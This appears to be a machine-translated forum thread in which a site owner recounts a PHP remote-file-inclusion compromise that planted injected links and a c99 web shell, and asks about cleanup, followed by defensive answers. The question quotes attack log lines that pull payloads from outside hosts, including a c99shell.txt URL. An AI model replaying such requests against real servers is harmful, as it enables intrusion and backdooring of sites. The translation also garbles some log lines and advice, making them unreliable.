Подтвердить что ты не робот

PHP Injection Attack - как лучше очистить беспорядок?

Время от времени моя разделяемая среда хостинга скомпрометирована, потому что мне не удалось закрепить патч моих установленных приложений. На прошлой неделе это было из-за старой и неиспользуемой установки PHP-приложения под названием "Справочный центр Live". В результате каждый отдельный PHP файл на сервере (и у меня есть несколько Wordpress, установка Joomlas, SilverStripe) добавлен код, который вытащил скрытые ссылки с других сайтов и включил их в мою страницу. Другие люди сообщают, что их сайты были запрещены Google после такого рода нападений - к счастью, я, кажется, поймал его достаточно рано. Я заметил это только при переходе на один из сайтов с моего телефона - на странице были ссылки, включенные в браузер для мобильных устройств.

Я нашел много попыток атаки, подобных этому в журнале:

62.149.18.193 - - [06/Feb/2009: 14: 52: 45 +0000] "GET/support/module.php?module= HelpCenter//включить/main.php? Конфиг [Search_disp] = истина & include_dir = http://www.portlandonnuri.com/ 2008_web//technote7/данные/фото/ id2.txt??? HTTP/1.1 "200 26" - "libwww-perl/5.814"

Я немедленно удалил это приложение и написал script, который удалил нарушающий PHP-код из каждого исходного файла. Я также обнаружил, что script создал HTML файлы, содержащие ссылки для других зараженных сайтов. Я тоже удалил их. Теперь я обеспокоен тем, что злоумышленник может оставить что-то еще, что я пропустил, - файл PHP где-нибудь, который даст ему постоянный доступ. Даты файлов были изменены в атаке, и я не мог найти никаких других файлов, которые были изменены в течение рассматриваемого времени. Есть ли что-то очевидное, что я пропустил, чтобы убедиться, что на моем сервере нет бэкдоров?

Изменить: я также ищу текстовые файлы, содержащие код атаки, как показано в приведенном выше фрагменте файла журнала. Я не нашел.

Другое редактирование: Если вам посчастливилось встретить этот пост, потому что вы находите себя в той же ситуации, возможно, это поможет вам. Я использовал это для резервного копирования всех исходных файлов PHP, прежде чем манипулировать ими:

find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;

и это, чтобы отменить изменения, сделанные злоумышленником:

find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;

Не ракетостроение, но не тривиальное ни для случайного пользователя Linux/Unix, как я:-).

Другое редактирование: Я не могу проверять каждую строку кода на сервере, но я могу искать подозрительные данные. Я искал все вхождения "eval" и "base64" и не нашел ничего, что не выглядело бы законным. Затем я запустил grep для ".ru" (так как исполнители, похоже, пришли оттуда), и вот, нашел и нашел что-то, называемое оболочкой c99, которое я быстро удалил.

Окончательное редактирование: Я узнал, как была загружена оболочка c99 - через отверстие в фотогалерее Coppermine.

97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST 
    /pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
    /c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] "
    GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-"

IP-адрес, кстати, является IP-адресом Godaddy.

4b9b3361

Ответ 1

После того, как ваша система была включена, у вас действительно есть только два варианта: проверять каждую строку каждого приложения или переустанавливать все. Поскольку это звучит так, как будто это все открытые или коммерческие программы, вам, вероятно, лучше переустановить их все. На самом деле нет лучшего способа гарантировать, что у вас нет задней двери в одном из них.

Эксперт по безопасности, скорее всего, порекомендует вам полностью переустановить ОС, потому что вы не можете быть уверены, что какой-то код не был проскользнут в место, которое повлияет на ОС, однако, если ваши разрешения, при правильной настройке, могут быть чрезмерными.

Ответ 2

1.) Храните репозиторий файлов, которые вы используете для этих приложений (например, SVN или аналогичных)

2.) Следите за обновлениями как можно лучше с каждым обновлением безопасности приложений (у большинства есть RSS-канал)

3.) Регулярно создавайте резервную копию своей базы данных

Если/, когда! @# $попадает в вентилятор, вы можете начать с новой копии БД и повторно развернуть код из SVN.

Ответ 3

Мы делаем полный список каталогов, все диски и папки, в текстовый файл каждый день.

Это помогло нам узнать, какие файлы были спрятаны после этого факта в прошлом.

Не так много поможет, где вы сейчас находитесь, но может помочь в будущем.

(Не останавливает то, что подталкивает их размер/дату изменения, но поможет разобраться в беспорядок для вещей, которые не беспокоят)

Ответ 4

В дополнение к тому, что другие сказали, вы можете установить систему обнаружения вторжений (например, PHPIDS, которая является open source).